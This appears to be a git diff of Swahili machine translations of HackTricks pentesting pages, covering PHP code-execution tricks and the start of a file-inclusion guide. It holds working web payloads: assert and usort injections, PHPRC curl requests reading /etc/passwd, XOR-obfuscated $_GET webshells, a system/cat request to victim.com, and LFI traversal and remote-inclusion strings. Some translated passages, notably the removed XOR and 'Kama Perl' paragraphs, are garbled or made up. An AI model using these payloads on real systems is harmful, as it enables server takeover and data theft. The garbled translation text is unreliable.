@ -198,13 +189,15 @@ Katika mazingira yafuatayo, **mshambuliaji alifanya seva itoe makosa makubwa**,
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Angalia hii kwa kazi zaidi za kufaa za PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Tazama hii kwa ajili ya kazi za PHP zenye manufaa zaidi](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE kupitia** **preg\_replace()**
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Ili kutekeleza kificho katika hoja ya "badilisha" inahitajika angalau kulingana na moja.\
|
||||
Chaguo hili la preg\_replace limepitwa na wakati tangu PHP 5.5.0.
|
||||
Ili kutekeleza kanuni katika hoja ya "badilisha" inahitajika angalau kufanana moja. \
|
||||
Chaguo hili la preg\_replace limekuwa **limepitwa na wakati tangu PHP 5.5.0.**
|
||||
|
||||
### **RCE kupitia Eval()**
|
||||
```
|
||||
|
@ -216,21 +209,21 @@ Chaguo hili la preg\_replace limepitwa na wakati tangu PHP 5.5.0.
|
|||
```
|
||||
### **RCE kupitia Assert()**
|
||||
|
||||
Hii ni kazi ndani ya php inayokuwezesha **kutekeleza nambari iliyoundwa kwenye herufi** ili **irudishe ukweli au uwongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kawaida ya mtumiaji itaingizwa katikati ya herufi. Kwa mfano:\
|
||||
Hii function ndani ya php inaruhusu wewe **kutekeleza code ambayo imeandikwa kwenye string** ili **irudishe true au false** (na kutegemea hii kubadilisha utekelezaji). Kawaida variable ya mtumiaji itaingizwa katikati ya string. Kwa mfano:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Katika kesi hii ili kupata **RCE** unaweza kufanya:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Utahitaji **kuvunja** muundo wa kanuni, **kuongeza** mzigo wako, na kisha **kurekebisha tena**. Unaweza kutumia **shughuli za mantiki** kama vile "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vile vile, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa.
|
||||
Utahitaji **kuvunja** muundo wa kanuni, **kuongeza** mzigo wako, na kisha **kuirekebisha tena**. Unaweza kutumia **shughuli za mantiki** kama "**na" au "%26%26" au "|"**. Tafadhali kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vivyo hivyo, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa.
|
||||
|
||||
**Chaguo lingine** ni kuongeza kwenye herufi utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
**Chaguo lingine** ni kuongeza kwenye mfuatano wa utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
|
||||
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya pembejeo ili kubadilisha utekelezaji: `$file = "hola"`
|
||||
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya kipengele ili kubadilisha utekelezaji: `$file = "hola"`
|
||||
|
||||
### **RCE kupitia usort()**
|
||||
|
||||
Kazi hii hutumiwa kusorti safu ya vitu kwa kutumia kazi maalum.\
|
||||
Kwa kudanganya kazi hii:
|
||||
Kutumia kazi hii vibaya:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
@ -250,58 +243,58 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Unaweza pia kutumia **//** kuweka maoni kwenye sehemu nyingine ya msimbo.
|
||||
Unaweza pia kutumia **//** kutoa maoni ya sehemu iliyobaki ya nambari.
|
||||
|
||||
Ili kugundua idadi ya parenthesis unazohitaji kufunga:
|
||||
Kugundua idadi ya mabano unayohitaji kufunga:
|
||||
|
||||
* `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Labda tunakosa parenthesis moja au zaidi.
|
||||
* `?order=id);}//`: tunapata **onyo**. Inaonekana sawa.
|
||||
* `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Labda tuna parenthesis nyingi za kufunga.
|
||||
- `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Labda tunakosa mabano moja au zaidi.
|
||||
- `?order=id);}//`: tunapata **onyo**. Inaonekana sawa.
|
||||
- `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Labda tuna mabano mengi ya kufunga.
|
||||
|
||||
### **RCE kupitia .httaccess**
|
||||
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuweka mipangilio** kadhaa na hata kutekeleza msimbo (kwa kuweka faili hizo zenye kipengele cha .htaccess kuwa **zinatekelezwa**).
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **configure** mambo kadhaa na hata kutekeleza nambari (kwa kusanidi faili hizo zenye kipengee .htaccess zinaweza kutekelezwa).
|
||||
|
||||
Makompyuta tofauti za .htaccess zinaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
Makabati tofauti ya .htaccess yanaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE kupitia Mazingira ya Mazingira
|
||||
|
||||
Ikiwa unapata udhaifu ambao unakuwezesha **kurekebisha mazingira ya mazingira ya PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kuzuilika), unaweza kutumia tabia hii kwa kupata **RCE**.
|
||||
Ikiwa unapata udhaifu unaoruhusu kurekebisha **mazingira ya mazingira katika PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Kipengele hiki cha mazingira kinakuwezesha kupakia maktaba za aina yoyote unapotumia programu zingine (ingawa katika kesi hii inaweza isifanye kazi).
|
||||
* **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inayoitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuielekeza PHP kwake. Ongeza kuingia la **`auto_prepend_file`** likiashiria faili ya pili iliyopakiwa. Faili hii ya pili ina **msimbo wa PHP wa kawaida, ambao kisha unatekelezwa** na muda wa PHP kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP inayojumuisha msimbo wetu wa kuingia
|
||||
2. Pakia faili ya pili, ikiwa na maelekezo ya **`auto_prepend_file`** inayoagiza mchakato wa awali wa PHP kutekeleza faili tuliyopakia hatua ya 1
|
||||
3.  Weka kipengele cha `PHPRC` kuwa faili tuliyopakia hatua ya 2.
|
||||
* Pata habari zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwenye ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - chaguo lingine
|
||||
* Ikiwa huwezi **kupakia faili**, unaweza kutumia kwenye FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Au ili kupata RCE, wezesha **`allow_url_include`** na ongeza faili na msimbo wa PHP wa **base64**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Mbinu [**kutoka kwenye ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Kipengee hiki cha mazingira kinakuwezesha kupakia maktaba za kupindukia wakati wa kutekeleza programu zingine (ingawa katika kesi hii inaweza isiweze kufanya kazi).
|
||||
- **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili hii ya pili ina nambari ya PHP ya kawaida, ambayo kisha inatekelezwa na PHP kabla ya nambari nyingine yoyote.
|
||||
1. Pakia faili ya PHP inayohusisha nambari yetu ya kabati
|
||||
2. Pakia faili ya pili, inayohusisha kuingia **`auto_prepend_file`** ikielekeza kiprocessa cha PHP kutekeleza faili tuliyopakia hatua ya 1
|
||||
3. Weka kipengee cha `PHPRC` kwa faili tuliyopakia hatua ya 2.
|
||||
- Pata habari zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwenye ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - chaguo lingine
|
||||
- Ikiwa **hauwezi kupakia faili**, unaweza kutumia FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Au kupata RCE, wezesha **`allow_url_include`** na ongeza faili na **msingi wa nambari ya PHP ya base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- Mbinu [**kutoka kwenye ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## Uchambuzi Stahimilivu wa PHP
|
||||
## Uchambuzi Stahiki wa PHP
|
||||
|
||||
Angalia ikiwa unaweza kuweka msimbo katika wito wa kazi hizi (kutoka [hapa](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
Angalia ikiwa unaweza kuingiza nambari katika wito wa kazi hizi (kutoka [hapa](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Ikiwa unafuatilia kosa katika programu ya PHP, unaweza kuwezesha uchapishaji wa makosa kwa kubadilisha faili ya `/etc/php5/apache2/php.ini` na kuongeza `display_errors = On`, kisha kuanzisha upya apache: `sudo systemctl restart apache2`
|
||||
Ikiwa unafuatilia kwa makosa katika programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa kuzidisha katika `/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Kufuta Obfuscating ya Msimbo wa PHP
|
||||
### Kufuta Msimbo wa PHP
|
||||
|
||||
Unaweza kutumia **mtandao**[ **www.unphp.net**](http://www.unphp.net) **kufuta obfuscating ya msimbo wa php.**
|
||||
Unaweza kutumia **mtandao**[ **www.unphp.net**](http://www.unphp.net) **kufuta msimbo wa php.**
|
||||
|
||||
## PHP Wrappers & Protocols
|
||||
|
||||
PHP Wrappers na itifaki inaweza kukuruhusu **kuepuka ulinzi wa kuandika na kusoma** katika mfumo na kuathiri. Kwa [**mashauri zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP Wrappers na itifaki zinaweza kukuruhusu **kupuuza ulinzi wa kuandika na kusoma** kwenye mfumo na kuathiri. Kwa [**majarida zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug unauthenticated RCE
|
||||
|
||||
Ikiwa unaona kuwa **Xdebug** ime **wezeshwa** katika matokeo ya `phpconfig()`, jaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
Ikiwa unaona kwamba **Xdebug** imekuwa **imezidishwa** kwenye matokeo ya `phpconfig()` unapaswa kujaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Variable variables
|
||||
```php
|
||||
|
@ -315,15 +308,15 @@ echo "${Da}"; //Drums
|
|||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE kwa kutumia $\_GET\["a"]\($\_GET\["b"])
|
||||
## RCE kutumia $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Ikiwa kwenye ukurasa unaweza **kuunda kitu kipya cha darasa lolote**, huenda ukaweza kupata RCE, angalia ukurasa ufuatao kujifunza jinsi:
|
||||
Ikiwa kwenye ukurasa unaweza **kuunda kitu kipya cha darasa lolote**, unaweza kupata RCE, angalia ukurasa ufuatao kujifunza jinsi:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kutekeleza PHP bila herufi
|
||||
## Tekeleza PHP bila herufi
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
|
@ -333,29 +326,23 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
|
|||
```
|
||||
### **XOR**
|
||||
|
||||
XOR (Exclusive OR) ni operesheni ya mantiki inayotumika katika uhandisi wa kompyuta na usalama wa habari. Operesheni hii inafanya kazi kwa kulinganisha bits mbili na kutoa matokeo ambayo ni kweli tu ikiwa bits hizo mbili ni tofauti. Katika XOR, ikiwa bits zote mbili ni sawa, matokeo yatakuwa uwongo.
|
||||
|
||||
Operesheni ya XOR ina matumizi mengi katika uwanja wa usalama wa habari. Moja ya matumizi yake ni kwa kuchanganya data ili kuficha habari muhimu. Kwa mfano, unaweza kutumia XOR kuchanganya nenosiri na data nyingine ili kuzalisha data iliyofichwa ambayo inaweza kuwa vigumu kuelewa au kubaini.
|
||||
|
||||
Kwa kuongezea, XOR inaweza kutumika katika kugundua na kurekebisha makosa katika uhamishaji wa data. Kwa kuchanganya data na XOR, unaweza kugundua ikiwa kuna makosa yoyote katika uhamishaji wa data kwa kulinganisha data iliyopokelewa na data iliyotumwa. Ikiwa kuna tofauti, inaweza kuashiria kuwa kuna makosa na unaweza kuchukua hatua za kurekebisha.
|
||||
|
||||
Kwa ujumla, XOR ni zana muhimu katika uwanja wa usalama wa habari na inaweza kutumika kwa njia mbalimbali za kuchanganya na kugundua makosa katika data.
|
||||
XOR ni mbinu ya kuficha data kwa kutumia operesheni ya XOR. Operesheni hii inatumika mara nyingi katika kuficha data ya siri kwa kuifanya isieleweke moja kwa moja. Katika muktadha wa usalama wa mtandao, XOR inaweza kutumika kuficha data muhimu kama vile anwani za IP au URLs. Kwa kufanya XOR kati ya data na funguo sahihi, data inaweza kufichwa na kuwa ngumu kusomwa na watu wasioidhinishwa.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR kificho rahisi wa shell
|
||||
### XOR msimbo wa shell rahisi
|
||||
|
||||
Kulingana na [**hii maelezo**](https://mgp25.com/ctf/Web-challenge/), inawezekana kuzalisha kificho rahisi wa shell kwa njia ifuatayo:
|
||||
Kulingana na [**makala hii**](https://mgp25.com/ctf/Web-challenge/) inawezekana kuzalisha msimbo wa shell rahisi kwa njia ifuatayo:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Hivyo, ikiwa unaweza **kutekeleza PHP yoyote bila kutumia nambari na herufi**, unaweza kutuma ombi kama ifuatavyo kwa kutumia mzigo huo kutekeleza PHP yoyote:
|
||||
Kwa hivyo, ikiwa unaweza **kutekeleza PHP bila nambari na herufi** unaweza kutuma ombi kama ifuatavyo ukichukua faida ya mzigo huo kutekeleza PHP kiholela:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -385,14 +372,6 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### Kama Perl
|
||||
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa maendeleo ya wavuti. Ina syntax inayofanana na Perl na inaweza kutumika kwa kuchambua na kusindika data kwenye wavuti.
|
||||
|
||||
Kwa mfano, unaweza kutumia Perl kufanya mambo kama vile kuchanganua data iliyopokelewa kutoka kwa fomu ya wavuti, kufanya mabadiliko kwenye faili za wavuti, au kufanya mawasiliano na seva za mbali.
|
||||
|
||||
Kwa kuwa Perl ina syntax inayofanana na Perl, watumiaji wa Perl wanaweza kuhisi vizuri wanapotumia Perl kwa maendeleo ya wavuti. Hii inaweza kuwa na faida kwa watumiaji ambao tayari wana uzoefu na Perl na wanataka kuchanganya ujuzi wao wa Perl na maendeleo ya wavuti.
|
||||
|
||||
Kwa kumalizia, Perl inaweza kuwa chaguo nzuri kwa watumiaji ambao wanapenda syntax ya Perl na wanataka kutumia lugha hiyo kwa maendeleo ya wavuti.
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
@ -432,14 +411,14 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,44 +1,44 @@
|
|||
# Kuingiza Faili/Ugani wa njia
|
||||
# Kuingiza Faili/Ukuzaji wa Njia
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
|
||||
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za kudukua
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua
|
||||
|
||||
**Habari za Kudukua za Wakati Halisi**\
|
||||
Endelea kuwa na habari za ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa wakati halisi
|
||||
**Taarifa za Kudukua Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua unaobadilika haraka kupitia taarifa za habari za wakati halisi
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
Baki na habari kuhusu uzinduzi wa tuzo za mdudu mpya na sasisho muhimu za jukwaa
|
||||
Baki mwelekezi na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## Kuingiza Faili
|
||||
|
||||
**Kuingiza Faili Kutoka Kijijini (RFI):** Faili inapakia kutoka kwenye seva ya kijijini (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii imelemazwa kwa chaguo-msingi (**allow\_url\_include**).\
|
||||
**Kuingiza Faili Kutoka Kwenye Seva (LFI):** Seva inapakia faili ya ndani.
|
||||
**Kuingiza Faili Kijijini (RFI):** Faili inapakiwa kutoka kwenye seva ya mbali (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii **imelemazwa** kwa chaguo-msingi (**allow\_url\_include**).\
|
||||
**Kuingiza Faili za Kitaifa (LFI):** Seva inapakia faili ya ndani.
|
||||
|
||||
Hitilafu hutokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili ambayo itapakiwa na seva.
|
||||
Udhaifu unatokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili itakayopakiwa na seva.
|
||||
|
||||
**Vipengele hatarishi vya PHP**: require, require\_once, include, include\_once
|
||||
**PHP functions** zenye udhaifu: require, require\_once, include, include\_once
|
||||
|
||||
Zana ya kuvutia ya kudukua hitilafu hii: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Zana ya kuvumbua udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Kipofu - Kuvutia - Faili za LFI2RCE
|
||||
```python
|
||||
|
@ -50,39 +50,33 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
Jaribu pia kubadilisha `/` na `\`\
|
||||
Jaribu pia kubadilisha `/` kwa `\`\
|
||||
Jaribu pia kuongeza `../../../../../`
|
||||
|
||||
Unaweza kupata orodha inayotumia njia kadhaa za kupata faili /etc/password (kuangalia ikiwa udhaifu upo) [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Orodha inayotumia njia kadhaa za kupata faili /etc/password (kutathmini ikiwa udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Unganisha orodha tofauti:
|
||||
Unganisha wa orodha tofauti:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
Jaribu pia kubadilisha `/` na `\`\
|
||||
Jaribu pia kubadilisha `/` kwa `\`\
|
||||
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
|
||||
|
||||
Unaweza kupata orodha inayotumia njia kadhaa za kupata faili /boot.ini (kuangalia ikiwa udhaifu upo) [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Orodha inayotumia njia kadhaa za kupata faili /boot.ini (kutathmini ikiwa udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Angalia orodha ya LFI ya linux.
|
||||
|
||||
## LFI ya Msingi na njia za kuzunguka
|
||||
## Basic LFI and bypasses
|
||||
|
||||
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (ukurasa=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### Mfuatano wa kuvuka uliondolewa kwa njia isiyo ya kurekodi
|
||||
|
||||
